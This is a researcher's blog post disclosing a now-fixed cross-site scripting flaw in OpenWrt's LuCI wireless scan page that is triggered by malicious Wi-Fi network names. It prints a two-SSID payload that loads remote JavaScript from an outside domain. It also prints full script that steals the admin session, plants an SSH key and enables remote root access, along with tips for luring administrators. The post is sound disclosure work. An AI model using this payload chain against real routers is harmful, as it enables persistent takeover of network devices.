Lately, I’ve been experimenting with unusual XSS vectors. XSS (cross-site scripting) allows an attacker to execute arbitrary javascript in another user’s browser session. Sometimes the result is merely entertaining, sometimes the result is:

Dear Sasha, excellent (and terrible) find!

A crafted wifi SSID could lead to an XSS in the OpenWRT admin interface, if an admin opened the nearby wifi scan while the SSID was active. Given full access to the admin interface, I could then escalate this to a remote root shell.

The XSS vulnerability

OpenWRT’s LuCI web interface includes a wireless scan page that lets administrators scan for nearby networks and displays a table of visible access points, including their SSIDs.

The vulnerability was in wireless.js in the luci-mod-network package. The SSID ultimately passed into innerHTML. No sanitisation was applied at any point in the data path.

SSID can consist of up to 32 arbitrary bytes. The characters needed for HTML injection are all printable ASCII, and they passed through the entire stack without modification.

This is not the first SSID injection in LuCI. CVE-2019-25015 identified the same class of bug in the wireless Join flow (Network → Wireless → Scan → Join). This finding affects the scan result list itself, which requires less interaction with the malicious network, already being visible in a scan.

The attack required:

  • A malicious access point, broadcasting beacon frames that are received by the OpenWRT device
  • An administrator to open the wireless scan page at the same time

It did not require the administrator to connect to the malicious network, or even click on it. Visibility in the scan was sufficient. No authentication details of the attacked network were required. The attacker did not need any credentials for a device or wifi network.

For further refinement, a cheap device left behind broadcasting malicious SSIDs would also have worked, waiting passively for an admin to open the scan page. Directional antennas could increase the physical attack range, as the communication is one way. And intentionally disrupting the network could have made it more likely for an admin to open the scan page, to see if perhaps someone else started using the same channel.

The attack window existed only while the malicious SSIDs were in range. Once they disappeared, the risk was gone: the attack required an admin opening the page while they were active.

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H, score 8.6.

Overcoming length limits with two SSIDs

The XSS payload in an SSID is constrained by the 32-byte SSID length limit, and <script> tags won’t execute when added in innerHTML. That leaves little room for a useful payload. My typical payload would be something like:

SSID: <img src=x onerror=import(//domain/x.js)>

But that’s too long, unless your payload URL is just two bytes.

A solution was to use two access points broadcasting simultaneously.

SSID 1:  <a id=s href=//domain/x.js>
SSID 2:  <img src=x onerror=import(s)>
T-Deck running Marauder showing a malicious access point

As the devices I had on hand only support broadcasting one SSID, I set up one on a laptop, and the second on a T-Deck running Marauder.

When the admin opened Network → Wireless → Scan, both SSIDs were injected into the DOM. The anchor element was registered as window.s via HTML named access. The onerror handler fired and import(s) resolved to import("https://domain/x.js"). The external module loaded and executed arbitrary JavaScript in the authenticated admin session, with no further length restriction. As a bonus, the exploited instance told the attacker’s domain its external IP address.

Escalation to root

Because LuCI runs with full administrative privileges, the injected javascript gained full control over the router’s configuration interface. Here’s a video of how this could turn into remote root access:

In addition to what you see in the video, my nearby T-Deck was advertising the SSID <img src=x onerror=import(s)>.

My loaded javascript extracted the session ID from the page and used it to make authenticated calls to the ubus API:

  1. uci/set to clear the dropbear interface restriction and enable gateway ports
  2. file/write to plant an SSH public key in /etc/dropbear/authorized_keys
  3. uci/commit and uci/apply
  4. service/restart on dropbear to pick up the changes
fetch('/cgi-bin/luci/')
  .then(r => r.text())
  .then(async html => {
    const sid = html.match(/sessionid['":\s]+([a-f0-9]{32})/)?.[1];
    const call = (obj, method, params) => fetch('/ubus', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ jsonrpc: '2.0', id: 1, method: 'call',
        params: [sid, obj, method, params] })
    }).then(r => r.json());

    await call('uci', 'set', { config: 'dropbear', section: '@dropbear[0]',
      values: { Interface: '', GatewayPorts: 'on', PasswordAuth: 'on' } });
    await call('uci', 'commit', { config: 'dropbear' });

    await call('file', 'write', {
      path: '/etc/dropbear/authorized_keys',
      mode: 384,
      data: 'ssh-ed25519 AAAA...\n'
    });

    await call('uci', 'apply', {});
    await call('service', 'restart', { name: 'dropbear' });
  });
Fritz repeater in power socket

The end result: persistent root SSH access to the router, established the moment the admin opened the scan page, with no visible indication to the admin that anything happened. Once this payload had executed, the wifi SSIDs and the scan page were no longer needed: remote root access would remain open.

I verified this myself on a factory-default OpenWrt 25.12.0 installation on a FRITZ!Repeater 1750E.

Fix

The fix in OpenWRT replaces the unsafe innerHTML rendering with proper text node insertion. This was committed within one day from my report.

This is fixed in OpenWrt 24.10.6 and OpenWrt 25.12.1.

Downstream

Other distributions shipping luci-mod-network unmodified may also be affected. This may include GL.iNet or Turris OS, but I have not verified this myself.

Disclosure timeline

DateEvent
2026-03-12Initial report sent to OpenWRT security team
2026-03-13Received confirmation from OpenWRT, fix committed and tested by me
2026-03-19Advisory published, new OpenWRT versions released

Working with the OpenWRT team on this was easy and pleasant.

Other vendors

The default firmware on my FRITZ!Repeater 1750E is not vulnerable. My MikroTik access points are also handling it fine:

MikroTik webfig screenshot showing SSID with HTML

Disclosure regarding one vendor is pending.

A broader pattern

I’ve been finding multiple interesting XSS injections through unusual network vectors. Several others have been fixed, and some are pending disclosure coordination. More to come :)

References


I'm Sasha Romijn, an independent developer and internet infrastructure specialist in Amsterdam. I find security issues in internet infrastructure, usually in configurations, trust relationships, and cross-system behaviour that got overlooked. Previous finds include rooting OpenWrt via SSID and, some years back, compromising Apple keychain access groups.

Find me on Mastodon, Bluesky, or work with me.


Fritz repeater photo by Blingoo, CC-BY-SA, via Wikimedia Commons